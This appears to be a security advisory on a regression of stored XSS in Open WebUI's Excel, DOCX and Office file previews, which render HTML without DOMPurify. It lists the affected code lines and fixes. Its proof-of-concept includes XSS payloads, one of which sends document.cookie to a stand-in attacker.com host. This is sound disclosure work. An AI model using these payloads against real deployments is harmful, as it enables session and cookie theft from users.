| Gói / sản phẩm | Phiên bản bị ảnh hưởng | Phiên bản đã vá |
|---|---|---|
| open-webui | < 0.9.3 | 0.9.3 |
| open webui | < 0.9.3 | 0.9.3 |
This advisory tracks a regression of the original Excel-preview XSS that was
publicly disclosed and patched under GHSA-jwf8-pv5p-vhmc
(patched in v0.8.0). The same root cause — XLSX.utils.sheet_to_html() output
rendered via {@html excelHtml} without DOMPurify — was reintroduced sometime
after v0.8.0 and is exploitable again as of v0.8.12 and through the version
range listed above. This advisory additionally covers the related
fileOfficeHtml sink in src/lib/components/chat/FileNav.svelte
(lines 458 and 1285) which was not part of the jwf8 advisory's scope.
Open WebUI renders user-uploaded Office files (Excel, DOCX) as HTML using Svelte's {@html} directive without DOMPurify sanitization. While the codebase has DOMPurify available and uses it in 9 out of 23 {@html} locations (39%), three file-preview rendering paths bypass it entirely, allowing Stored XSS when a user uploads a malicious document.
This is a classic defense propagation failure: the sanitization primitive exists in the codebase but is not consistently applied to all rendering surfaces.
The defense primitive exists: DOMPurify.sanitize() is imported and used in components like General.svelte, MarkdownInlineTokens.svelte, Banner.svelte, and SVGPanZoom.svelte.
But 3 file-preview paths skip it:
File: src/lib/components/chat/FileNav/FilePreview.svelte line 324
{:else if fileOfficeHtml !== null}
<div class="office-preview overflow-auto flex-1 min-h-0">
{@html fileOfficeHtml} <!-- NO DOMPurify! -->
</div>
fileOfficeHtml is generated from user-uploaded Office files (PPT, DOC, etc.) converted to HTML. The HTML is rendered directly without sanitization.
File: src/lib/components/common/FileItemModal.svelte line 560
{@html excelHtml} <!-- NO DOMPurify! -->
excelHtml is generated from user-uploaded Excel files converted to HTML tables. No sanitization applied.
Bạn đang dùng một trong các sản phẩm này? Quét site để biết có đang lộ phiên bản có lỗ hổng không.
Quét site miễn phíFile: src/lib/components/common/FileItemModal.svelte line 590
{@html docxHtml} <!-- NO DOMPurify! -->
docxHtml is generated from user-uploaded DOCX files converted to HTML. No sanitization applied.
For comparison, the same codebase correctly sanitizes in other locations:
<!-- MarkdownInlineTokens.svelte:130 — SAFE -->
{@html DOMPurify.sanitize(token.text, { ADD_ATTR: ['target'] })}
<!-- General.svelte:276 — SAFE -->
{@html DOMPurify.sanitize($config?.license_metadata?.html)}
<!-- Banner.svelte:103 — SAFE -->
{@html DOMPurify.sanitize(marked.parse(...))}
| Metric | Value |
|---|---|
Total {@html} usages | 23 |
| With DOMPurify | 9 (39%) |
| Without DOMPurify | 14 (61%) |
| Confirmed exploitable (file preview) | 3 |
The remaining 11 unsanitized {@html} usages include syntax highlighting (hljs), KaTeX math rendering, and marked.parse() with sanitizeResponseContent() pre-processing — these have varying levels of inherent safety but still represent inconsistent defense application.
9bd8425, tag v0.8.12)Create a .xlsx file with a cell containing:
<img src=x onerror="alert(document.cookie)">
(Using a library like openpyxl to inject raw HTML into cell values)
Upload the file to Open WebUI via the chat file upload
When any user previews the file → excelHtml renders the injected HTML → XSS fires
Create a .docx file with embedded HTML:
<w:r><w:t><![CDATA[<svg onload="fetch('https://attacker.com/steal?c='+document.cookie)">]]></w:t></w:r>
Upload to Open WebUI
File preview renders docxHtml → XSS fires
// In browser devtools on Open WebUI, after uploading a file:
// The file preview component renders:
// FileItemModal → {@html excelHtml} // no DOMPurify
// FileItemModal → {@html docxHtml} // no DOMPurify
// FilePreview → {@html fileOfficeHtml} // no DOMPurify
// Compare with safe path:
// NotebookView → {@html DOMPurify.sanitize(toStr(output.data['text/html']))} // sanitized!
document.cookie theftApply DOMPurify to all three file preview paths:
<!-- FilePreview.svelte:324 — FIX -->
{@html DOMPurify.sanitize(fileOfficeHtml)}
<!-- FileItemModal.svelte:560 — FIX -->
{@html DOMPurify.sanitize(excelHtml)}
<!-- FileItemModal.svelte:590 — FIX -->
{@html DOMPurify.sanitize(docxHtml)}
Alternatively, adopt a defense-by-default pattern: create a wrapper component that always applies DOMPurify, making unsanitized {@html} usage a code review flag.